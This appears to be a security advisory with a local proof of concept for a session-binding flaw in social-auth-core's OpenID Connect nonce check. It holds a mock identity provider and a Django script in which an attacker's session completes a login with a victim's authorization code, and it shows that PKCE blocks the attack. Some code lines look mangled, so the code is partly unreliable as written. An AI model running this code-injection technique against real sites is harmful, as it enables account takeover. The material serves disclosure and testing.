social-auth-core is a package that makes Python social authentication simple.

Affected versions of this package are vulnerable to Origin Validation Error via the validate_claims method in social_core/backends/open_id_connect.py, where a nonce stored in shared association storage is not bound to the initiating browser session. An attacker who starts their own OIDC login flow can inject a victim's authorization code into their own session's callback, because the nonce check verifies only that the nonce exists in shared storage rather than that it belongs to the current browser's session state, allowing the attacker's session to authenticate as the victim.

Everything runs locally. mockidp.py is a small OpenID provider on 127.0.0.1 that checks redirect_uri and enforces PKCE when a code_challenge was sent, like a normal provider. social_nonce.py uses two Django test clients as two browsers.

pip install social-auth-core social-auth-app-django django pyjwt cryptography
python social_nonce.py

Output on 6.1.1:

[inject] attacker session completes with victim code: (200, 'user=victim')

Controls:

MODE=control_victim python social_nonce.py
[control] victim completes normally: (200, 'user=victim')

MODE=control_unknown_nonce python social_nonce.py
[control] unknown nonce: ('EXC', 'AuthResponseError: The authentication response could not be matched to the request.')
PKCE=1 python social_nonce.py
[inject] attacker session completes with victim code: ('EXC', 'AuthCredentialError: The authorization code was rejected. Please restart login.')

So the nonce check runs, but it accepts a nonce that belongs to another browser. With PKCE on, the same attack fails.

mockidp.py:

"""Minimal local OpenID Provider on 127.0.0.1 for testing RP libraries."""
import json, time, secrets, threading, hashlib, base64, urllib.parse
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
import jwt
from cryptography.hazmat.primitives.asymmetric import rsa

def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
class IdP:
    def init(self, port=0, client_id="rp-client", client_secret="rp-secret", name="idp"):
        self.key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
        self.kid = name + "-k1"
        self.client_id, self.client_secret = client_id, client_secret
        self.codes = {}
        self.access = {}
        self.claims_override = {}
        self.srv = ThreadingHTTPServer(("127.0.0.1", port), self._handler())
        self.port = self.srv.server_address[1]
        self.issuer = f"http://127.0.0.1:{self.port}"
        threading.Thread(target=self.srv.serve_forever, daemon=True).start()
def jwk(self):
    n = self.key.public_key().public_numbers()
    tb = lambda i: i.to_bytes((i.bit_length() + 7) // 8, "big")
    return {"kty": "RSA", "kid": self.kid, "use": "sig", "alg": "RS256", "n": b64u(tb(n.n)), "e": b64u(tb(n.e))}

def discovery(self):
    i = self.issuer
    return {"issuer": i, "authorization_endpoint": i + "/authorize", "token_endpoint": i + "/token",
            "userinfo_endpoint": i + "/userinfo", "jwks_uri": i + "/jwks",
            "response_types_supported": ["code"], "subject_types_supported": ["public"],
            "id_token_signing_alg_values_supported": ["RS256"],
            "token_endpoint_auth_methods_supported": ["client_secret_basic", "client_secret_post"],
            "code_challenge_methods_supported": ["S256"]}

def user_authorizes(self, authorize_url, sub):
    """The end user `sub` approves an authorization request; returns (code, params)."""
    q = dict(urllib.parse.parse_qsl(urllib.parse.urlsplit(authorize_url).query))
    code = "code-" + secrets.token_hex(8)
    self.codes[code] = {"sub": sub, "nonce": q.get("nonce"), "redirect_uri": q.get("redirect_uri"),
                        "code_challenge": q.get("code_challenge")}
    return code, q

def sign(self, claims):
    return jwt.encode(claims, self.key, algorithm="RS256", headers={"kid": self.kid})

def _handler(idp):
    class H(BaseHTTPRequestHandler):
        def log_message(self, *a): pass
        def _json(self, obj, code=200):
            b = json.dumps(obj).encode()
            self.send_response(code); self.send_header("Content-Type", "application/json")
            self.send_header("Content-Length", str(len(b))); self.end_headers(); self.wfile.write(b)
        def do_GET(self):
            p = urllib.parse.urlsplit(self.path).path
            if p.endswith("/.well-known/openid-configuration"): return self._json(idp.discovery())
            if p == "/jwks": return self._json({"keys": [idp.jwk()]})
            if p == "/userinfo":
                tok = (self.headers.get("Authorization") or "").split(" ")[-1]
                sub = idp.access.get(tok)
                if not sub: return self._json({"error": "invalid_token"}, 401)
                return self._json({"sub": sub, "email": sub + "@example.test", "preferred_username": sub})
            return self._json({"error": "not_found"}, 404)
        def do_POST(self):
            n = int(self.headers.get("Content-Length") or 0)
            body = dict(urllib.parse.parse_qsl(self.rfile.read(n).decode()))
            p = urllib.parse.urlsplit(self.path).path
            if p == "/token":
                rec = idp.codes.pop(body.get("code"), None)
                if not rec: return self._json({"error": "invalid_grant"}, 400)
                if rec["redirect_uri"] and body.get("redirect_uri") != rec["redirect_uri"]:
                    return self._json({"error": "invalid_grant"}, 400)
                if rec["code_challenge"]:
                    v = body.get("code_verifier") or ""
                    if b64u(hashlib.sha256(v.encode()).digest()) != rec["code_challenge"]:
                        return self._json({"error": "invalid_grant"}, 400)
                at = "at-" + secrets.token_hex(8)
                idp.access[at] = rec["sub"]
                now = int(time.time())
                claims = {"iss": idp.issuer, "sub": rec["sub"], "aud": idp.client_id, "iat": now, "exp": now + 300,
                          "at_hash": b64u(hashlib.sha256(at.encode()).digest()[:16])}
                if rec["nonce"]: claims["nonce"] = rec["nonce"]
                claims.update(idp.claims_override)
                return self._json({"access_token": at, "token_type": "Bearer", "expires_in": 300,
                                   "id_token": idp.sign(claims)})
            return self._json({"error": "not_found"}, 404)
    return H

social_nonce.py:

import os, sys
sys.path.insert(0, os.path.dirname(__file__))
from mockidp import IdP
idp = IdP()
import django
from django.conf import settings
PKCE = os.environ.get("PKCE") == "1"
settings.configure(
    DEBUG=True, SECRET_KEY="x", ALLOWED_HOSTS=["*"], ROOT_URLCONF=__name__,
    INSTALLED_APPS=["django.contrib.auth", "django.contrib.contenttypes", "django.contrib.sessions", "social_django"],
    MIDDLEWARE=["django.contrib.sessions.middleware.SessionMiddleware", "django.contrib.auth.middleware.AuthenticationMiddleware"],
    DATABASES={"default": {"ENGINE": "django.db.backends.sqlite3", "NAME": ":memory:"}},
    AUTHENTICATION_BACKENDS=["social_core.backends.open_id_connect.OpenIdConnectAuth"],
    SOCIAL_AUTH_OIDC_OIDC_ENDPOINT=idp.issuer, SOCIAL_AUTH_OIDC_KEY=idp.client_id, SOCIAL_AUTH_OIDC_SECRET=idp.client_secret,
    SOCIAL_AUTH_OIDC_USE_PKCE=PKCE, SOCIAL_AUTH_LOGIN_REDIRECT_URL="/done/", SOCIAL_AUTH_RAISE_EXCEPTIONS=True,
)
django.setup()
from django.urls import include, path
from django.http import HttpResponse
urlpatterns = [path("", include("social_django.urls", namespace="social")),
               path("done/", lambda r: HttpResponse("user=%s" % r.user.username))]
from django.core.management import call_command
call_command("migrate", verbosity=0)
from django.test import Client

def begin(c):
    r = c.post("/login/oidc/"); assert r.status_code == 302, r.status_code
    return r["Location"]
def complete(c, code, state):
    try:
        r = c.get("/complete/oidc/", {"code": code, "state": state})
        if r.status_code == 302:
            r = c.get(r["Location"])
        return r.status_code, r.content.decode()
    except Exception as e:
        return "EXC", f"{type(e).name}: {e}"
victim, attacker = Client(), Client()
Victim starts a login. The provider issues a code for "victim" tied to the victim's nonce.
v_url = begin(victim)
code_v, qv = idp.user_authorizes(v_url, "victim")
Attacker starts a login in their own browser to get a valid state for their session.
a_url = begin(attacker)
_, qa = idp.user_authorizes(a_url, "attacker")
mode = os.environ.get("MODE", "inject")
if mode == "inject":
    print("[inject] attacker session completes with victim code:", complete(attacker, code_v, qa["state"]))
elif mode == "control_unknown_nonce":
    idp.claims_override = {"nonce": "never-issued-nonce"}
    print("[control] unknown nonce:", complete(attacker, code_v, qa["state"]))
elif mode == "control_victim":
    print("[control] victim completes normally:", complete(victim, code_v, qv["state"]))

Note: The PoC runs locally using Django with an in-memory SQLite database and a minimal local OpenID Provider on 127.0.0.1, with no non-default configuration stated beyond optional PKCE mode.

• GitHub Advisory
• GitHub Commit
• GitHub PR
• GitHub Release